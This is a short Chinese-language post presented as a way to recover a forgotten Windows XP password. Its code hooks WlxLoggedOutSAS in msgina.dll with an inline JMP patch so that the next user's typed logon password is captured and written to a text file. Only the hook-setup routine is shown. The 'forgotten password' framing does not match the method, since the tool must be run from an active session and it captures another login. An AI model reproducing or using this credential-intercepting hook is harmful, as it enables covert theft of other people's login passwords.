获取XP登录密码

应用背景当忘记XP系统密码时，可以编译getInfo的dll和exe，执行getInfoRun.exe在下次登录时就可以获取密码了，密码文件保存在windows根目录下的getPwdout.txt文件中关键技术DWORD WINAPI StartHook(LPVOID lpParam) { //得到msgina.dll //hooktable.hMsgina  int n = 0; hooktable.hMsgina = LoadLibrary("msgina.dll"); n  = GetLastError(); if (NULL == hooktable.hMsgina) { printf("getmoduleHandle msgina.dll error"); return -1; } //得到WlxLoggedOutSAS hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); if (NULL == hooktable.OldADDR) { printf("GetProcAddress WlxLoggedOutSAS error"); return -1; } int *OpCode = (int*)&hooktable.charJmpCode[1]; int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; *OpCode = Code; HookWlxLoggedOutSAS(); return 0; }
